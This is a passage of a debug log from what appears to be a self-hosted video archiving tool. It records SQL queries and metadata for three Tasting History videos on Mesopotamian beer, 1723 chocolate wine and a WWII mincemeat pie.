[debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Get 40% off your first Hungryroot box PLUS get a free item of your choice in every box for life with code TASTINGHISTORY at https://bit.ly/3DhydYp\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/alappanu\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nIn the Land of Ninkasi by Tate Paulette - https://amzn.to/49hDzAd\nTable of Gods - https://www.tableofgods.com/\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nJehu King of Israel is seen kneeling before King Shalmaneser III of Assyria offering him tribute. This relief is part of Black Obelisk of Shalmaneser III in the British Museum. Photo Credit: Steven G. Johnson / Wikimedia Commons / CC-BY-SA-3.0 \nAshurnasirpal on the throne - By Anthony Huan - https://www.flickr.com/photos/anthonyhuan/44841858665/, CC BY-SA 2.0, https://commons.wikimedia.org/w/index.php?curid=91494202\nAssyria Map: By John D. Croft at English Wikipedia, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=54600047\nThe Bronze Age Collapse Map - Simon Netchev, Creative Commons, https://www.worldhistory.org/image/15310/map-of-the-late-bronze-age-collapse-c-1200---1150/\nEngravings of the brass gates of Balawat: By Mohmmd Abd - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=116346707 \nZiggurat of Assur: By Fakhri Mahmood - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=111644965\n\n#tastinghistory", "duration" => 1254, "filename" => "/downloads/Tasting History with Max Miller/2025-12-23 Brewing 3,000 Year-Old Ancient Mesopotamian Beer/Brewing 3,000 Year-Old Ancient Mesopotamian Beer [MO0lKDNKxmE].mp4", "id" => "MO0lKDNKxmE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=MO0lKDNKxmE", "playlist_index" => 15, "timestamp" => 1766505639, "title" => "Brewing 3,000 Year-Old Ancient Mesopotamian Beer", "upload_date" => "20251223"} 02:53:26.175 [debug] QUERY OK source="sources" db=0.2ms idle=3.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:53:26.175 [debug] QUERY OK source="sources" db=0.1ms idle=2.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:53:26.177 [debug] QUERY OK source="media_items" db=1.4ms idle=2.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-23 16:00:39Z], 3] 02:53:26.179 [debug] QUERY OK source="media_items" db=1.4ms idle=3.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Get 40% off your first Hungryroot box PLUS get a free item of your choice in every box for life with code TASTINGHISTORY at https://bit.ly/3DhydYp\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/alappanu\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nIn the Land of Ninkasi by Tate Paulette - https://amzn.to/49hDzAd\nTable of Gods - https://www.tableofgods.com/\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nJehu King of Israel is seen kneeling before King Shalmaneser III of Assyria offering him tribute. This relief is part of Black Obelisk of Shalmaneser III in the British Museum. Photo Credit: Steven G. Johnson / Wikimedia Commons / CC-BY-SA-3.0 \nAshurnasirpal on the throne - By Anthony Huan - https://www.flickr.com/photos/anthonyhuan/44841858665/, CC BY-SA 2.0, https://commons.wikimedia.org/w/index.php?curid=91494202\nAssyria Map: By John D. Croft at English Wikipedia, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=54600047\nThe Bronze Age Collapse Map - Simon Netchev, Creative Commons, https://www.worldhistory.org/image/15310/map-of-the-late-bronze-age-collapse-c-1200---1150/\nEngravings of the brass gates of Balawat: By Mohmmd Abd - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=116346707 \nZiggurat of Assur: By Fakhri Mahmood - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=111644965\n\n#tastinghistory", "Brewing 3,000 Year-Old Ancient Mesopotamian Beer", "b222e4a0-b8f3-4274-85ff-35aa6ba957fc", "MO0lKDNKxmE", "https://www.youtube.com/watch?v=MO0lKDNKxmE", false, 1254, false, 15, "/downloads/Tasting History with Max Miller/2025-12-23 Brewing 3,000 Year-Old Ancient Mesopotamian Beer/Brewing 3,000 Year-Old Ancient Mesopotamian Beer [MO0lKDNKxmE].mp4", false, false, 3, [], 98, ~U[2025-12-23 16:00:39Z], ~U[2026-04-01 06:53:26Z], ~U[2026-04-01 06:53:26Z], "Get 40% off your first Hungryroot box PLUS get a free item of your choice in every box for life with code TASTINGHISTORY at https://bit.ly/3DhydYp\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/alappanu\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nIn the Land of Ninkasi by Tate Paulette - https://amzn.to/49hDzAd\nTable of Gods - https://www.tableofgods.com/\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nJehu King of Israel is seen kneeling before King Shalmaneser III of Assyria offering him tribute. This relief is part of Black Obelisk of Shalmaneser III in the British Museum. Photo Credit: Steven G. Johnson / Wikimedia Commons / CC-BY-SA-3.0 \nAshurnasirpal on the throne - By Anthony Huan - https://www.flickr.com/photos/anthonyhuan/44841858665/, CC BY-SA 2.0, https://commons.wikimedia.org/w/index.php?curid=91494202\nAssyria Map: By John D. Croft at English Wikipedia, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=54600047\nThe Bronze Age Collapse Map - Simon Netchev, Creative Commons, https://www.worldhistory.org/image/15310/map-of-the-late-bronze-age-collapse-c-1200---1150/\nEngravings of the brass gates of Balawat: By Mohmmd Abd - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=116346707 \nZiggurat of Assur: By Fakhri Mahmood - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=111644965\n\n#tastinghistory", "Brewing 3,000 Year-Old Ancient Mesopotamian Beer", "MO0lKDNKxmE", "https://www.youtube.com/watch?v=MO0lKDNKxmE", 1254, false, "/downloads/Tasting History with Max Miller/2025-12-23 Brewing 3,000 Year-Old Ancient Mesopotamian Beer/Brewing 3,000 Year-Old Ancient Mesopotamian Beer [MO0lKDNKxmE].mp4", false, 3, ~U[2025-12-23 16:00:39Z]] 02:53:26.179 [debug] QUERY OK source="sources" db=0.2ms idle=4.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:53:26.179 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:53:26.180 [debug] QUERY OK source="media_items" db=0.3ms idle=4.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [5447] 02:53:26.180 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Order the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nWatch Christiaan make a chocolate wine pie here: \n\nhttps://www.instagram.com/reel/DSc2hzdDMUa/?igsh=NTc4MTIwNjQ2YQ==\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nChocolate Kitchen at Hampton Court - Joyofmuseums, CC BY-SA 4.0 https://creativecommons.org/licenses/by-sa/4.0, via Wikimedia Commons\n\n#tastinghistory", "duration" => 824, "filename" => "/downloads/Tasting History with Max Miller/2025-12-19 Chocolate Wine from 1723/Chocolate Wine from 1723 [0XHVOnKrk0I].mp4", "id" => "0XHVOnKrk0I", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=0XHVOnKrk0I", "playlist_index" => 16, "timestamp" => 1766160001, "title" => "Chocolate Wine from 1723", "upload_date" => "20251219"} 02:53:26.181 [debug] QUERY OK source="sources" db=0.3ms idle=3.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:53:26.181 [debug] QUERY OK source="sources" db=0.2ms idle=2.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:53:26.183 [debug] QUERY OK source="media_items" db=1.4ms idle=2.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-19 16:00:01Z], 3] 02:53:26.186 [debug] QUERY OK source="media_items" db=2.4ms idle=3.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Order the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nWatch Christiaan make a chocolate wine pie here: \n\nhttps://www.instagram.com/reel/DSc2hzdDMUa/?igsh=NTc4MTIwNjQ2YQ==\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nChocolate Kitchen at Hampton Court - Joyofmuseums, CC BY-SA 4.0 https://creativecommons.org/licenses/by-sa/4.0, via Wikimedia Commons\n\n#tastinghistory", "Chocolate Wine from 1723", "01aba9a3-9d90-4420-a792-5d359a78d336", "0XHVOnKrk0I", "https://www.youtube.com/watch?v=0XHVOnKrk0I", false, 824, false, 16, "/downloads/Tasting History with Max Miller/2025-12-19 Chocolate Wine from 1723/Chocolate Wine from 1723 [0XHVOnKrk0I].mp4", false, false, 3, [], 98, ~U[2025-12-19 16:00:01Z], ~U[2026-04-01 06:53:26Z], ~U[2026-04-01 06:53:26Z], "Order the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nWatch Christiaan make a chocolate wine pie here: \n\nhttps://www.instagram.com/reel/DSc2hzdDMUa/?igsh=NTc4MTIwNjQ2YQ==\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nChocolate Kitchen at Hampton Court - Joyofmuseums, CC BY-SA 4.0 https://creativecommons.org/licenses/by-sa/4.0, via Wikimedia Commons\n\n#tastinghistory", "Chocolate Wine from 1723", "0XHVOnKrk0I", "https://www.youtube.com/watch?v=0XHVOnKrk0I", 824, false, "/downloads/Tasting History with Max Miller/2025-12-19 Chocolate Wine from 1723/Chocolate Wine from 1723 [0XHVOnKrk0I].mp4", false, 3, ~U[2025-12-19 16:00:01Z]] 02:53:26.187 [debug] QUERY OK source="sources" db=0.3ms idle=6.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:53:26.187 [debug] QUERY OK source="media_profiles" db=0.2ms queue=0.1ms idle=6.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:53:26.189 [debug] QUERY OK source="media_items" db=0.8ms idle=6.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [5174] 02:53:26.189 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Thank you to Bombas for sponsoring this video! Head to https://bombas.yt.link/0xWsLEg and use code tastinghistory20 at checkout for 20% off your first purchase.\n\nWatch GeanaVlogger’s video on my family history here - https://youtu.be/jXxHTUPOy6Y\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "duration" => 1393, "filename" => "/downloads/Tasting History with Max Miller/2025-12-16 World War 2 Mincemeat Pie for the Battle of the Bulge/World War 2 Mincemeat Pie for the Battle of the Bulge [g3IAXRkyl1s].mp4", "id" => "g3IAXRkyl1s", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=g3IAXRkyl1s", "playlist_index" => 17, "timestamp" => 1765900870, "title" => "World War 2 Mincemeat Pie for the Battle of the Bulge", "upload_date" => "20251216"} 02:53:26.191 [debug] QUERY OK source="sources" db=1.1ms idle=6.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:53:26.192 [debug] QUERY OK source="sources" db=0.5ms idle=5.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:53:26.196 [debug] QUERY OK source="media_items" db=4.2ms queue=0.1ms idle=5.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-16 16:01:10Z], 3] 02:53:26.199 [debug] QUERY OK source="media_items" db=2.2ms idle=9.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Thank you to Bombas for sponsoring this video! Head to https://bombas.yt.link/0xWsLEg and use code tastinghistory20 at checkout for 20% off your first purchase.\n\nWatch GeanaVlogger’s video on my family history here - https://youtu.be/jXxHTUPOy6Y\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "World War 2 Mincemeat Pie for the Battle of the Bulge", "f80cedc1-f5cb-4ff3-a6e7-878c38a6cccd", "g3IAXRkyl1s", "https://www.youtube.com/watch?v=g3IAXRkyl1s", false, 1393, false, 17, "/downloads/Tasting History with Max Miller/2025-12-16 World War 2 Mincemeat Pie for the Battle of the Bulge/World War 2 Mincemeat Pie for the Battle of the Bulge [g3IAXRkyl1s].mp4", false, false, 3, [], 98, ~U[2025-12-16 16:01:10Z], ~U[2026-04-01 06:53:26Z], ~U[2026-04-01 06:53:26Z], "Thank you to Bombas for sponsoring this video! Head to https://bombas.yt.link/0xWsLEg and use code tastinghistory20 at checkout for 20% off your first purchase.\n\nWatch GeanaVlogger’s video on my family history here - https://youtu.be/jXxHTUPOy6Y\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "World War 2 Mincemeat Pie for the Battle of the Bulge", "g3IAXRkyl1s", "https://www.youtube.com/watch?v=g3IAXRkyl1s", 1393, false, "/downloads/Tasting History with Max Miller/2025-12-16 World War 2 Mincemeat Pie for the Battle of the Bulge/World War 2 Mincemeat Pie for the Battle of the Bulge [g3IAXRkyl1s].mp4", false, 3, ~U[2025-12-16 16:01:10Z]] 02:53:26.200 [debug] QUERY OK source="sources" db=0.6ms idle=10.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:53:26.201 [debug] QUERY OK source="media_profiles" db=0.7ms idle=9.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", 